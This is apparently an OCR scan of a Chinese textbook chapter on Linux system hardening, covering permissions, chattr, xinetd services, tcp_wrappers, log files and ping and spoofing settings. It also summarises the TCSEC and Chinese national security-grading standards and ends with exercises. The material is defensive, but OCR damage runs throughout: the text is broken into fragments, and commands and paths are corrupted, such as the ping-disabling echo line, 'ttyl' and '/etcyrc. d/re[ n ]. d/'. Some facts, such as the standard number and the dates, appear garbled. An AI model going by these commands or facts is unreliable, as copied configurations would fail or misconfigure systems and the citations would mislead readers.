例如 : HÍT # chmod -R 700 /etc/rc. d/init. d/ * 命令 ,修改 /etc/rc. d/init. d/ 目 录 中 脚 
本 文件 的 许可 权限 ,表示 只 有 root 用 户 才 可 以 读 、 写 或 执行 该 目录 下 的 脚本 文件 。 


4.5.3 资源 安全 管理 


1. 保护 关键 分 区 


在 Linux 系统 中 ,可 以 将 不 同 的 应 用 安装 在 不 同 的 分 区 上 ,每 个 分 区 分 别 进行 不 同 的 配 
置 , 可 以 将 关键 分 区 设置 为 只 读 ,这 样 可 以 大 大 提高 Linux 文件 系统 的 安全 性 。Linux 文件 
系统 可 以 分 为 几 个 主要 的 分 区 ,一 般 情 况 下 至 少 需要 建立 /boot Vlib /sbin /usr/local,/ var 
和 /home 等 分 区 。 

/usr 可 以 安装 成 只 读 ,并 且 可 以 被 认为 是 不 可 修改 的 ,如 果 /usr 中 有 任何 文件 发 生 了 
改变 ,那么 系统 将 立即 发 出 安全 报警 。 

/boot / lib 和 /sbin 的 安装 和 设置 也 一 样 ,在 安装 时 尽量 将 它们 设 为 只 读 。 

不 过 有 些 分 区 是 不 能 设 为 只 读 的 ,比如 /var。 


2. 保护 文件 


在 ext3 文件 系统 中 有 “不 可 变 ” 和 * 只 添加 ”这 两 种 文件 属性 ,使 用 它们 可 以 进一步 提高 
文件 的 安全 级 别 。 标 记 为 “不 可 变 ” 的 文件 不 能 被 修改 , 根 用 户 也 不 能 修改 。 标 记 为 “只 添 
加 ”的 文件 可 以 被 修改 ,但 是 只 能 在 它 的 后 面 添 加 新 内 容 : 根 用 户 也 是 如 此 。 可 以 使 用 
lsattr 命令 查看 这 些 属性 ,可 以 使 用 chattr 命令 来 修改 文件 的 这 些 属性 。 

比如 系统 管理 员 可 以 将 log 文件 属性 设置 为 “只 添加 ”。 


4.5.4 网 络 安全 管理 


1. 取消 不 必要 的 服务 
Linux 中 有 两 种 服务 类 型 : 一 种 是 仅 在 有 需要 时 才 执 行 的 服务 ; 另 一 种 是 一 直 在 执行 
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的 服务 。 

(1) 需要 时 才 执 行 的 服务 

早期 的 Linux 版 本 中 ,每 一 个 不 同 的 网 络 服务 都 有 一 个 服务 程序 在 后 台 运 行 ,现在 的 版 
本 用 统一 的 xinetd 服务 器 程序 担 此 重任 。xinetd(eXtended InterNET services Daemon) 被 
称 为 “扩展 的 超级 服务 器 ”( 之 前 是 inetd) ,其 作用 是 根据 网 络 请 求 装 入 网 络 程序 。xinetd 同 
时 监视 多 个 网 络 端 口 ,一 旦 接收 到 外 界 传 来 的 连接 信息 ,就 执行 相应 的 TCP 或 UDP 网 络 服 
务 。 要 取消 不 必要 的 服务 可 以 修改 /etc/xinetd. conf 文件 。 

(2) 一 直 在 执行 的 服务 

这 类 服务 在 系统 启动 时 就 开始 执行 ,需要 修改 /etcyrc. d/re[ n ]. d/ 中 的 文件 ,比如 提供 
文件 服务 的 NFS 服务 器 和 提供 NNTP 新 闻 服 务 的 news 服务 器 都 属于 这 类 服务 ,如果 没有 
必要 ,最 好 将 这 些 服 务 取消 。 

(3) /etc/services 

/etc/services 文件 使 得 服务 器 和 客户 端的 程序 能 够 将 服务 的 名 字 转 成 端口 号 ,只 有 
root 用 户 才 有 权 修 改 这 个 文件 ,而 且 通 常情 况 下 这 个 文件 是 没有 必要 修改 的 ,因为 这 个 文 
件 中 已 经 包含 了 常用 的 服务 所 对 应 的 端口 号 。 为 了 避免 该 文件 未 经 授权 被 删除 和 修改 ,可 
以 执行 #chattr +i /etc/services 命令 。 


2. 隐藏 系统 信息 


默认 情况 下 ,登录 提示 信息 包括 Linux 发 行 版 的 名 称 版本、 内核 版 本 和 主机 名 等 信息 ， 
这 些 信息 对 于 黑客 人 侵 是 很 有 帮助 的 ,因此 ,出 于 服务 器 的 安全 考虑 ,需要 将 这 些 信息 修改 
或 注释 掉 。 应 该 只 显示 一 个 "login: "提示 符 。 

操作 时 删除 /etc/issue 和 /etc/issue. net 文件 中 的 内 容 即 可 。 

/etc/issue 文件 是 用 户 从 本 地 登录 时 看 到 的 提示 。 

/ etc/issue. net 文件 是 用 户 从 网 络 登 录 ( 如 Telnet、SSH) 系 统 时 看 到 的 登录 提示 。 


3. 登录 终端 设置 
在 /etc/securetty 文件 指定 了 允许 root 用 户 登 录 的 tty 设备 ,由 /bin/login 程序 读 取 ,其 
格式 是 一 个 被 允许 的 名 字 列 表 , 可 以 编辑 /etc/securetty 且 注 释 如 下 所 示 的 行 : 


ttyl 
#tty2 
#tty3 


这 样 ,root 用 户 只 能 在 ttyl 终端 登录 。 
4. tcp_wrappers 


可 以 使 用 tcp_wrappers 来 阻止 一 些 外 部 人 侵 。 最 好 的 策略 就 是 先 阻止 所 有 的 主机 , 然 
后 再 建立 允许 访问 该 系统 的 主机 列表 。 

首先 编辑 /etc/hosts. deny 文件 ,加 入 : ALL: ALL@ALL, PARANOID, 

然后 编辑 /etc/hosts. allow 文件 ,加 入 允许 访问 的 主机 列表 ,比如 : ftp:202. 196. 0. 101 
ztg. edu. com.202. 196. 0. 101 是 允许 访问 ftp 服务 的 IP 地 址 ,ztg. edu. com 是 允许 访问 
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ftp 服务 的 主机 名 。 
最 后 使 用 tcpdchk 命令 检查 tcp wrapper 的 设置 是 否 正 确 。 


5. 定期 检查 系统 中 的 日 志 


(1) /var/log/messages: 几乎 发 生 的 重要 事件 或 错误 信息 都 会 被 记录 在 该 文件 中 , 另 
外 ,还 可 了 解 外 部 用 户 的 登录 情况 。 

(2) /var/log/secure: 和 系统 安全 有 关 的 信息 都 会 被 记录 在 该 文件 中 。 

(3) /var/log/wtmp: 记录 用 户 登 录 信 息 , 由 于 该 文件 被 编码 ,所 以 要 使 用 last 命令 查 
看 文件 的 内 容 。 

(4) /var/log/cron: 记录 crontab 服务 进程 的 周期 性 任务 。 

(5) /var/log/boot. log: 记录 开机 或 是 一 些 服 务 的 启动 或 关闭 信息 。 

需要 关注 的 文件 还 有 : /etc/rc. d/rc. local、/home/username/. history、/var/log/httpd、 
/ var/log/samba,/var/log/news,/var/log/mysqld. log /var/log/procmail. log 等 。 


6. 防止 ping 


在 /etc/rc. d/rc. local 文件 增加 : echo 177 /proc/sys/net/ipv4/icmp. echo, ignore all, 
防止 别人 ping 自己 的 系统 ,从 而 增加 系统 的 安全 性 。 


7. B IP 欺骗 
1E / etc/host. conf 文件 增加 一 行 : nospoof on. Bjj 1E IP 欺骗 。 
8. 使 用 ssh 远程 登录 Linux 系统 
9. 删除 或 禁用 r 字 头 命令 
10. 使 用 防火 墙 防止 网 络 攻击 
11. 使 用 表 4-13 中 的 命令 对 系统 进行 系统 安全 检查 
表 4-13 系统 安全 检查 命令 及 其 功能 


命令 功 能 命令 功 能 

finger 查看 所 有 的 登录 用 户 netstat 可 以 查看 现在 的 网 络 状 态 
history 显示 系统 过 去 被 运行 的 命令 top 动态 实时 查看 系统 的 进程 
last 显示 系统 曾经 被 登录 的 用 户 和 ttys who,w 查看 谁 登录 到 系统 中 


4.6 安全 等 级 标准 


下 面 介绍 几 种 信息 安全 评估 标准 : ISO 安全 体系 结构 标准 .美国 可 信 计 算 机 安全 评价 
标准 .中 国 国家 标准 《计算 机 信息 系统 安全 保护 等 级 划分 准则 》。 
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4.6.1 ISO 安全 体系 结构 标准 


在 安全 体系 结构 方面 ,ISO 制定 了 国际 标准 ISO 7498 一 2 一 1989《 信 息 处 理 系 统 开 放 系 
统 互联 基本 参考 模型 第 2 部 分 安全 体系 结构 》。 该 标准 为 开放 系统 互联 (OSIT) 描 述 了 基本 
参考 模型 ,为 协调 开发 现 有 的 与 未 来 的 系统 互联 标准 建立 起 了 一 个 框架 。 其 任务 是 提供 安 
全 服务 与 有 关机 制 的 一 般 描述 ,确定 在 参考 模型 内 部 可 以 提供 这 些 服务 与 机 制 的 位 置 。 


4.6.2 美国 可 信 计 算 机 安全 评价 标准 


20 世纪 80 年 代 ,美国 国防 部 根据 军用 计算 机 系统 的 安全 需要 ,制定 了 《可 信 计 算 机 系 
统 安全 评价 标准 》(Trusted Computer System Evaluation Criteria, TCSEC) 。 

TCSEC 标准 是 计算 机 系统 安全 评估 的 第 一 个 正式 标准 ,具有 划时代 的 意义 。 该 准则 于 
1970 年 由 美国 国防 科学 委员 会 提出 ,并 于 1985 年 12 月 由 美国 国防 部 公布 。TCSEC 最 初 
只 是 军用 标准 ,后 来 延至 民用 领域 。TCSEC 将 计算 机 系统 的 安全 划分 为 4 个 等 级 .7 个 
级 别 。 

其 中 对 操作 系统 安全 级 别 的 划分 见 表 4-14。 


表 4-14 操作 系统 安全 级 别 


级 别 系统 的 安全 可 信人 性 级 别 系统 的 安全 可 信人 性 

D 最 低 安全 B2 良好 的 结构 化 设计 ,形式 化 安全 模型 
CI 自主 存 取 控制 B3 全 面 的 访问 控制 .可 信人 恢复 

C2 较 完善 的 自主 存 取 控 制 (DAC) A 形式 化 认证 (最 高 安全 ) 

Bl 强制 存 取 控制 (MAC) 


D 类 安全 等 级 : D 类 安全 等 级 只 包括 D1 一 个 级 别 。D1 的 安全 等 级 最 低 。D1 系统 只 
为 文件 和 用 户 提供 安全 保护 。D1 系统 最 普通 的 形式 是 本 地 操作 系统 ,或 者 是 一 个 完全 没有 
保护 的 网 络 。 

C 类 安全 等 级 : 该 类 安全 等 级 能 够 提供 审计 的 保护 ,并 为 用 户 的 行动 和 责任 提供 审计 
能 力 。C 类 安全 等 级 可 划分 为 Cl 和 C2 两 类 。 

C1 系统 的 可 信任 运算 基础 体制 (Trusted Computing Base,TCB) 通 过 将 用 户 和 数据 分 
开 来 达到 安全 的 目的 。 在 Cl 系统 中 ,所 有 的 用 户 以 同样 的 灵敏 度 来 处 理 数据 , 即 用 户 认为 
C1 系统 中 的 所 有 文档 都 具有 相同 的 机 密 性 。 

C2 系统 比 C1 系统 加 强 了 可 调 的 审计 控制 。 在 连接 到 网 络 上 时 ,C2 系统 的 用 户 分 别 对 
各 自 的 行为 负责 。C2 系统 通过 登录 过 程 . 安 全 事件 和 资源 隔离 来 增强 这 种 控制 。C2 系统 
具有 C1l 系统 中 所 有 的 安全 性 特征 。 

B 类 安全 等 级 : B 类 安全 等 级 可 分 为 B1、B2 和 B3 三 类 。B 类 系统 具有 强制 性 保护 功 
能 。 强 制 性 保护 意味 着 如 果 用 户 没有 与 安全 等 级 相连 ,系统 就 不 会 让 用 户 存 取 对 象 。 

Bl 系统 满足 的 要 求 有 : 系统 对 网 络 控制 下 的 每 个 对 象 都 进行 灵敏 度 标记 ;系统 使 用 灵 


ey 
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敏 度 标记 作为 所 有 强迫 访问 控制 的 基础 :系统 在 把 导入 的 、 非 标记 的 对 象 放 和 系统 前 标记 它 
们 ;灵敏 度 标记 必须 准确 地 表示 其 所 联系 的 对 象 的 安全 级 别 ; 当 系统 管理 员 创 建 系统 或 者 增 
加 新 的 通信 通道 或 IO 设备 时 ,管理 员 必须 指定 每 个 通信 通道 和 I/O 设备 是 单 级 还 是 多 
级 ,并 且 管 理 员 只 能 手工 改变 指定 ; 单 级 设备 并 不 保持 传输 信息 的 灵敏 度 级 别 ; 所 有 直接 面 
向 用 户 位 置 的 输出 (无 论 是 虚拟 的 还 是 物理 的 ) 都 必须 产生 标记 来 指示 关于 输出 对 象 的 灵敏 
度 ; 系 统 必须 使 用 用 户 的 口令 或 证 明 来 决定 用 户 的 安全 访问 级 别 ; 系 统 必 须 通过 审计 来 记录 
未 授权 访问 的 企图 。 

B2 系统 必须 满足 B1 系统 的 所 有 要 求 。 另 外 ,B2 系统 的 管理 员 必 须 使 用 一 个 明确 的 、 
文档 化 的 安全 策略 模式 作为 系统 的 可 信任 运算 基础 体制 。B2 系统 必须 满足 下 列 要 求 : 系 
统 必 须 立即 通知 系统 中 的 每 一 个 用 户 所 有 与 之 相关 的 网 络 连接 的 改变 ;只 有 用 户 能 够 在 可 
信任 通信 路 径 中 进行 初始 化 通信 ;可 信任 运算 基础 体制 能 够 支持 独立 的 操作 者 和 管理 员 。 

B3 系统 必须 符合 B2 系统 的 所 有 安全 需求 。B3 系统 具有 很 强 的 监视 委托 管理 访问 能 
力 和 抗 干扰 能 力 。B3 系统 必须 设 有 安全 管理 员 。B3 系统 应 满足 以 下 要 求 :除了 控制 对 个 
别 对 象 的 访问 外 ,B3 系统 必然 产生 一 个 可 读 的 安全 列表 ;每 个 被 命名 的 对 象 提供 对 该 对 象 
没有 访问 权 的 用 户 列表 说 明 ;B3 系统 在 进行 任何 操作 前 ,要 求 用 户 进行 身份 验证 ;B3 系统 
验证 每 个 用 户 , 同 时 还 会 发 送 一 个 取消 访问 的 审计 跟踪 消息 ;设计 者 必须 正确 区 分 可 信任 的 
通信 路 径 和 其 他 路 径 ; 可 信任 的 通信 基础 体制 为 每 一 个 被 命名 的 对 象 建立 安全 审计 跟踪 ;可 
信任 的 运算 基础 体制 支持 独立 的 安全 管理 。 

A 类 安全 等 级 : A 系统 的 安全 级 别 最 高 。 目 前 ,A 类 安全 等 级 只 包含 Al 一 个 安全 类 
别 。Al 类 与 B3 类 相似 ,对 系统 的 结构 和 策略 不 做 特别 要 求 。Al 系统 的 显著 特征 是 ,系统 
的 设计 者 必须 按照 一 个 正式 的 设计 规范 来 分 析 系 统 。 对 系统 分 析 后 ,设计 者 必须 运用 核对 
技术 来 确保 系统 符合 设计 规范 。Al 系统 必须 满足 下 列 要 求 : 系统 管理 员 必须 从 开发 者 那 
里 接收 到 一 个 安全 策略 的 正式 模型 ;所 有 的 安装 操作 都 必须 由 系统 管理 员 进行 ;系统 管理 员 
进行 的 每 一 步 安装 操作 都 必须 有 正式 文档 。 


4.6.3 中国 国 家 标准 (计算 机 信息 系统 安全 保护 等 级 划分 准则 》 


中 国 公安 部 主持 制定 、 国 家 技术 标准 局 发 布 的 中 华人 民 共 和 国 国 家 标准 GB 17895 一 
1999《 计 算 机 信息 系统 安全 保护 等 级 划分 准则 》 于 2001 年 1 月 1 日 起 实施 。 该 准则 将 信息 
系统 安全 分 为 5 个 等 级 ,分 别 是 : 用 户 自主 保护 级 .系统 审计 保护 级 、 安 全 标记 保护 级 、 结 构 
化 保护 级 和 访问 验证 保护 级 。 主 要 的 安全 考核 指标 有 身份 认证 .自主 访问 控制 ,数据 完整 
性 、 审 计 、 隐 项 信道 分 析 、 客 体重 用 、 强 制 访问 控制 .安全 标记 、 可 信 路 径 和 可 信 恢 复 等 ,这 些 
指标 涵盖 了 不 同 级 别 的 安全 要 求 , 内 容 如 下 所 示 。 


1. 范围 


本 标准 规定 了 计算 机 系统 安全 保护 能 力 的 5 个 等 级 ,分 别 如 下 所 示 。 
第 一 级 : 用 户 自主 保护 级 。 
第 二 级 : 系统 审计 保护 级 。 
第 三 级 : 安全 标记 保护 级 。 
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第 四 级 : 结构 化 保护 级 。 

第 五 级 : 访问 验证 保护 级 。 

本 标准 适用 于 计算 机 信息 系统 安全 保护 技术 能 力 等 级 的 划分 。 计 算 机 信息 系统 安全 保 
护 能 力 随 着 安全 保护 等 级 的 增高 而 逐渐 增强 。 


2. 引用 标准 


下 列 标准 所 包含 的 条 文 , 通 过 在 本 标准 中 引用 而 构成 为 本 标准 的 条 文 。 本 标准 出 版 时 ， 
所 示 版 本 均 为 有 效 。 所 有 标准 都 会 被 修订 ,使 用 本 标准 的 各 方 应 探讨 使 用 下 列 标准 最 新 版 
本 的 可 能 性 。 


3. 定义 


除 本 章 定义 外 ,其 他 未 列 出 的 定义 见 GB/T 5271, 

(1) 计算 机 信息 系统 (Computer Information System) 

计算 机 信息 系统 是 由 计算 机 及 其 相关 的 和 配套 的 设备 .设施 ( 含 网 络 ) 构 成 的 ,按照 一 定 
的 应 用 目标 和 规则 对 信息 进行 采集 、 加 工 、 存 储 ,\ 传 输 、 检 索 等 处 理 的 人 机 系统 。 

(2) 计算 机 信息 系统 可 信 计 算 基 (Trusted Computing Base of Computer Information 
System) 

计算 机 系统 内 保护 装置 的 总 体 ,包括 硬件 、 固 件 、 软 件 和 负责 执行 安全 策略 的 组 合体 。 
它 建 立 了 一 个 基本 的 保护 环境 ,并 提供 一 个 可 信 计 算 系 统 所 要 求 的 附加 用 户 服 务 。 

(3) 客体 (Object) 

信息 的 载体 。 

(4) 主体 (Subject) 

引起 信息 在 客体 之 间 流 动 的 人 、 进 程 或 设备 等 。 

(5) 敏感 标记 (Sensitivity Label) 

表示 客体 安全 级 别 并 描述 客体 数据 敏感 性 的 一 组 信息 ,可 信 计 算 基 中 把 敏感 标记 作为 
强制 访问 控制 决策 的 依据 。 

(6) 安全 策略 (Security Policy) 

有 关 管 理 、 保 护 和 发 布 敏感 信息 的 法 律 .规定 和 实施 细则 。 

(7) 信道 CChannel) 

系统 内 的 信息 传输 路 径 。 

(8) 隐蔽 信道 CCovert Channel) 

允许 进程 以 危害 系统 安全 策略 的 方式 传输 信息 的 通信 信道 。 

(9) 访问 监控 器 (Reference Monitor) 

监控 主体 和 客体 之 间 授 权 访 问 关系 的 部 件 。 


4. 等 级 划分 准则 


(1) 第 一 级 : 用 户 自主 保护 级 
本 级 的 计算 机 信息 系统 可 信 计 算 基 通过 隔离 用 户 与 数据 ,使 用 户 具备 自主 安全 保护 的 
能 力 。 它 具有 多 种 形式 的 控制 能 力 : 对 用 户 实施 访问 控制 , 即 为 用 户 提供 可 行 的 手段 ;保护 
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用 户 和 用 户 组 信息 ;避免 其 他 用 户 对 数据 的 非法 读 写 与 破坏 。 

O 自主 访问 控制 。 计 算 机 信息 系统 可 信 计 算 基 定义 和 控制 系统 中 命名 用 户 对 命名 客 
体 的 访问 。 实 施 机 制 (例如 : 访问 控制 表 ) 人 允许 命名 用 户 以 用 户 和 (或 ) 用 户 组 的 身份 规定 并 
控制 客体 的 共享 ;阻止 非 授 权 用 户 读 取 敏感 信息 。 

@ 身份 鉴别 。 计 算 机 信息 系统 可 信 计 算 基 初始 执行 时 ,首先 要 求 用 户 标识 自己 的 身 
份 ,并 使 用 保护 机 制 ( 例 如 : 口令 ) 来 鉴别 用 户 的 身份 ,阻止 非 授 权 用 户 访问 用 户 身份 鉴别 
数据 。 

O 数据 完整 性 。 计 算 机 信息 系统 可 信 计 算 基 通过 自主 完整 性 策略 ,阻止 非 授 权 用 户 修 
改 或 破坏 敏感 信息 。 

(2) 第 二 级 : 系统 审计 保护 级 

与 用 户 自主 保护 级 相 比 ,本 级 的 计算 机 信息 系统 可 信 计 算 基 实 施 了 粒度 更 细 的 自主 访 
问 控制 , 它 通过 登录 规程 .审计 安全 性 相关 事件 和 隔离 资源 ,使 用 户 对 自己 的 行为 负责 。 

O 自主 访问 控制 。 可 控制 访问 权限 扩散 。 自 主 访问 控制 机 制 根 据 用户 指 定 方式 或 默 
认 方 式 ,阻止 非 授权 用 户 访问 客体 。 访 问 控制 的 粒度 是 单个 用 户 。 没 有 存 取 权 的 用 户 只 多 
许 由 授权 用 户 指定 对 客体 的 访问 权 。 其 他 内 容 同 第 一 级 的 〇 。 

@ 身份 鉴别 。 通 过 为 用 户 提 供 唯一 标识 ,计算 机 信息 系统 可 信 计 算 基 能 够 使 用 户 对 自 
己 的 行为 负责 。 计 算 机 信息 系统 可 信 计 算 基 还 具备 将 身份 标识 与 该 用 户 所 有 可 审计 行为 相 
关联 的 能 力 。 其 他 内 容 同 第 一 级 的 @。 

@ 客体 重用 。 在 计算 机 信息 系统 可 信 计 算 基 的 空闲 存储 客体 空间 中 , 对 客体 初始 指 
定 、 分 配 或 再 分 配 一 个 主体 之 前 ,撤销 该 客体 所 含 信息 的 所 有 授权 。 当 主体 获得 对 一 个 已 被 
释放 的 客体 的 访问 权时 ,当前 主体 不 能 获得 原 主 体 活动 所 产生 的 任何 信息 。 

@ 审计 。 计 算 机 信息 系统 可 信 计 算 基 能 创建 和 维护 受 保护 客体 的 访问 审计 跟踪 记录 ， 
并 能 阻止 非 授权 的 用 户 对 它 访问 或 破坏 。 

计算 机 信息 系统 可 信 计 算 基 能 记录 下 述 事件 : 使 用 身份 鉴别 机 制 ;将 客体 引入 用 户 地 
址 空间 (例如 : 打开 文件 程序 初始 化 ) ;删除 客体 ;由 操作 员 、 系 统管 理 员 或 (和 ) 系 统 安全 管 
理 员 实施 的 动作 ,以 及 其 他 与 系统 安全 有 关 的 事件 。 对 于 每 一 事件 ,其 审计 记录 包括 : 事件 
的 日 期 和 时 间 、 用 户 、 事 件 类 型 .事件 是 否 成 功 。 对 于 身份 鉴别 事件 ,审计 记录 包含 请 求 的 来 
源 ( 例 如 : 终端 标识 符 ) ;对 于 客体 引入 用 户 地 址 空间 的 事件 及 客体 删除 事件 ,审计 记录 包含 
客体 名 。 

对 不 能 由 计算 机 信息 系统 可 信 计 算 基 独立 分 辨 的 审计 事件 ,审计 机 制 提供 审计 记录 接 
口 ,可 由 授权 主体 调用 。 这 些 审计 记录 有 别 于 计算 机 信息 系统 可 信 计 算 基 独立 分 辨 的 审计 
记录 。 

O 数据 完整 性 。 同 第 一 级 的 @。 

(3) 第 三 级 : 安全 标记 保护 级 

本 级 的 计算 机 信息 系统 可 信 计 算 基 具 有 系统 审计 保护 级 的 所 有 功能 。 此 外 ,还 提供 有 
关 安 全 策略 模型 .数据 标记 以 及 主体 对 客体 强制 访问 控制 的 非 形式 化 描述 ;具有 准确 地 标记 
输出 信息 的 能 力 ;能 消除 通过 测试 发 现 的 任何 错误 。 


O 自主 访问 控制 。 同 第 二 级 的 @。 


© 强制 访问 控制 。 计 算 机 信息 系统 可 信 计 算 基 对 所 有 主体 及 其 所 控制 的 客体 (例如 : 
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进程 文件. 段 .设备 ) 实 施 强 制 访问 控制 。 为 这 些 主体 及 客体 指定 敏感 标记 ,这 些 标记 是 等 
级 分 类 和 非 等 级 类 别 的 组 合 ,它们 是 实施 强制 访问 控制 的 依据 。 计 算 机 信息 系统 可 信 计 算 
基 支 持 两 种 或 两 种 以 上 成 分 组 成 的 安全 级 。 计 算 机 信息 系统 可 信 计 算 基 控制 的 所 有 主体 对 
客体 的 访问 应 满足 : 仅 当 主体 安全 级 中 的 等 级 分 类 高 于 或 等 于 客体 安全 级 中 的 等 级 分 类 ， 
且 主 体 安全 级 中 的 非 等 级 类 别 包含 了 客体 安全 级 中 的 全 部 非 等 级 类 别 时 ,主体 才能 读 客 体 ; 
仅 当 主体 安全 级 中 的 等 级 分 类 低 于 或 等 于 客体 安全 级 中 的 等 级 分 类 , 且 主 体 安全 级 中 的 非 
等 级 类 别 包 含 于 客体 安全 级 中 的 非 等 级 类 别 时 ,主体 才能 写 一 个 客体 。 计 算 机 信息 系统 可 
信 计 算 基 使 用 身份 和 鉴别 数据 来 鉴别 用 户 的 身份 ,并 保证 用 户 创建 的 计算 机 信息 系统 可 信 
计算 基 外 部 主体 的 安全 级 和 授权 受 该 用 户 的 安全 级 和 授权 的 控制 。 

@ 标记 。 计 算 机 信息 系统 可 信 计 算 基 应 维护 与 主体 及 其 控制 的 存储 客体 (例如 : 进 
程 文 件 . 段 .设备 ) 相 关 的 敏感 标记 。 这 些 标记 是 实施 强制 访问 的 基础 。 为 了 输入 未 加 安全 
标记 的 数据 ,计算 机 信息 系统 可 信 计 算 基 向 授权 用 户 要 求 并 接受 这 些 数据 的 安全 级 别 , 且 可 
由 计算 机 信息 系统 可 信 计 算 基 审计 。 

@ 身份 鉴别 。 计 算 机 信息 系统 可 信 计 算 基 维护 用 户 身 份 识别 数据 并 确定 用 户 访问 权 
及 授权 数据 。 其 他 内 容 同 第 二 级 的 @。 

C 客体 重用 。 同 第 二 级 的 @。 

© 审计 。 同 第 二 级 的 @。 

D 数据 完整 性 。 在 网 络 环境 中 ,使 用 完整 性 敏感 标记 来 确保 信息 在 传送 中 未 受 损 。 其 
他 内 容 同 第 一 级 的 @。 

(4) 第 四 级 : 结构 化 保护 级 

本 级 的 计算 机 信息 系统 可 信 计 算 基 建立 于 一 个 明确 定义 的 形式 化 安全 策略 模型 之 上 ， 
它 要 求 将 第 三 级 系统 中 的 自主 和 强制 访问 控制 扩展 到 所 有 主体 与 客体 。 此 外 ,还 要 考虑 隐 
蔽 通道 。 本 级 的 计算 机 信息 系统 可 信 计 算 基 必须 结构 化 为 关键 保护 元 素 和 非 关 键 保护 元 
素 。 计 算 机 信息 系统 可 信 计 算 基 的 接口 也 必须 明确 定义 ,使 其 设计 与 实现 能 经 受 更 充分 的 
测试 和 更 完整 的 复审 。 本 级 的 计算 机 信息 系统 可 信 计 算 基 还 有 如 下 功能 : 加 强 了 鉴别 机 
制 ; 支 持 系统 管理 员 和 操作 员 的 职能 ;提供 可 信 设 施 管理 ;增强 了 配置 管理 控制 。 系 统 还 具 
有 相当 强 的 抗 渗透 能 力 。 

O 自主 访问 控制 。 同 第 二 级 的 〇 。 

Q 强制 访问 控制 。 计 算 机 信息 系统 可 信 计 算 基 对 外 部 主体 能 够 直接 或 间接 访问 的 所 
有 资源 (例如 : 主体 .存储 客体 和 输入 /输出 资源 ?实施 强制 访问 控制 。 其 他 内 容 同 第 三 级 
@ 中 除 前 两 名 以 外 的 内 容 。 

© 标记 。 计 算 机 信息 系统 可 信 计 算 基 维护 与 可 被 外 部 主体 直接 或 间接 访问 到 的 计算 
机 信息 系统 资源 (例如 : 主体 、 存 储 客体 、 只 读 存储 器 ) 相 关 的 敏感 标记 。 其 他 内 容 同 第 三 级 
@ 中 除 前 两 名 以 外 的 内 容 。 

由 身份 鉴别 。 同 第 三 级 的 @。 

C) 客体 重用 。 同 第 二 级 的 @。 

© git. 

计算 机 信息 系统 可 信 计 算 基 能 够 审计 利用 隐蔽 存储 信道 时 可 能 被 使 用 的 事件 。 其 他 内 


容 同 第 二 级 的 @。 
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@ 数据 完整 性 。 同 第 三 级 的 〇 。 

隐蔽 信道 分 析 。 系 统 开 发 者 应 彻底 搜索 隐蔽 存储 信道 ,并 根据 实际 测量 或 工程 估算 
确定 每 一 个 被 标识 信道 的 最 大 带宽 。 

© 可 信 路 径 。 对 用 户 的 初始 登录 和 鉴别 ,计算 机 信息 系统 可 信 计 算 基 在 它 与 用 户 之 间 
提供 可 信 通 信 路 径 。 该 路 径 上 的 通信 和 只 能 由 该 用 户 初始 化 。 

(5) 第 五 级 : 访问 验证 保护 级 

本 级 的 计算 机 信息 系统 可 信 计 算 基 满足 访问 监控 器 需求 。 访 问 监控 器 仲裁 主体 对 客体 
的 全 部 访问 。 访 问 监控 器 本 身 是 抗 自 改 的 ;必须 足够 小 ,能 够 分 析 和 测试 。 为 了 满足 访问 监 
控 器 需求 ,计算 机 信息 系统 可 信 计 算 基 在 其 构造 时 ,应 排除 那些 对 实施 安全 策略 来 说 并 非 必 
要 的 代码 ;在 设计 和 实现 时 ,从 系统 工程 角度 将 其 复杂 性 降低 到 最 低 程度 。 还 应 当 支持 安全 
管理 员 职 能 ;扩充 审计 机 制 , 当 发 生 与 安全 相关 的 事件 时 发 出 信号 ;提供 系统 恢复 机 制 。 系 
统 还 具有 很 高 的 抗 渗透 能 力 。 

O 自主 访问 控制 。 同 第 二 级 的 @。 

© 强制 访问 控制 。 同 第 四 级 的 @。 

O 标记 。 同 第 三 级 的 @。 

© 身份 鉴别 。 同 第 三 级 的 @。 

C 客体 重用 。 同 第 二 级 的 @。 

© 审计 。 

计算 机 信息 系统 可 信 计 算 基 能 够 审计 利用 隐蔽 存储 信道 时 可 能 被 使 用 的 事件 。 

计算 机 信息 系统 可 信 计 算 基 包含 能 够 监控 可 审计 安全 事件 发 生 与 积累 的 机 制 , 当 超过 
阅 值 时 ,能 够 立即 向 安全 管理 员 发 出 报警 。 并 且 ,如 果 这 些 与 安全 相关 的 事件 继续 发 生 或 积 
累 , 系 统 应 以 最 小 的 代价 中 止 它们 。 

其 他 内 容 同 第 二 级 的 @。 

C 数据 完整 性 。 同 第 三 级 的 @。 

隐蔽 信道 分 析 。 同 第 四 级 的 @。 

© 可 信和 路 径 。 当 连接 用 户 时 (如 注册 、 更 改 主体 安全 级 ) ,计算 机 信息 系统 可 信 计 算 基 
提供 它 与 用 户 之 间 的 可 信 通 信 路 径 。 可 信 路 径 上 的 通信 只 能 由 该 用 户 或 计算 机 信息 系统 可 
信 计 算 基 激活 , 且 在 逻辑 上 与 其 他 路 径 上 的 通信 相隔 离 , 且 能 正确 地 加 以 区 分 。 

O 可 信 恢 复 。 计 算 机 信息 系统 可 信 计 算 基 提供 过 程 和 机 制 , 保 证 计算 机 信息 系统 失效 
或 中 断后 ,可 以 进行 不 损害 任何 安全 保护 性 能 的 恢复 。 


小 结 


本 章 主要 介绍 Windows 安全 体系 结构 ` Windows 系统 中 账号 安全 管理 .网 络 安全 管 
HIE 浏览 器 的 安全 设置 .组 策略 的 使 用 、Windows 权限 的 概念 及 其 设置 .Windows 安全 审 
计 , 然 后 简单 介绍 了 Linux 系统 安全 的 配置 以 及 计算 机 系统 安全 等 级 标准 。 通 过 本 章 的 学 
习 , 使 读者 了 解 Windows 系统 安全 的 多 个 方面 ,从 而 提高 读者 安全 使 用 Windows 系统 的 
KP. 
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习 题 


1. 填空 题 


OD 是 一 组 面向 机 器 和 用 户 的 程序 ,是 用 户 程序 和 计算 机 硬件 之 间 的 接口 ,其 
目的 是 最 大 限度 地 ,高效 地 、 合 理 地 使 用 计算 机 资源 ,同时 对 系统 的 所 有 资源 (软件 和 硬件 资 
源 ) 进 行 管理 。 


(2) 在 计算 机 系统 的 各 个 层次 上 ,硬件 、 š ,数据 库 管理 系统 软件 以 及 
应 用 软件 ,各 自在 计算 机 安全 中 都 肩负 着 重要 的 职责 。 

(3) 操作 系统 的 安全 定义 包括 5 大 类 ,分 别 为 : Š \ 数 据 保 密 性 、 数 据 
完整 性 以 及 

(4) 指 的 是 在 完成 某 种 操作 时 所 赋予 网 络 中 每 个 主体 (用 户 或 进程 ) 必 不 可 少 
的 特权 。 

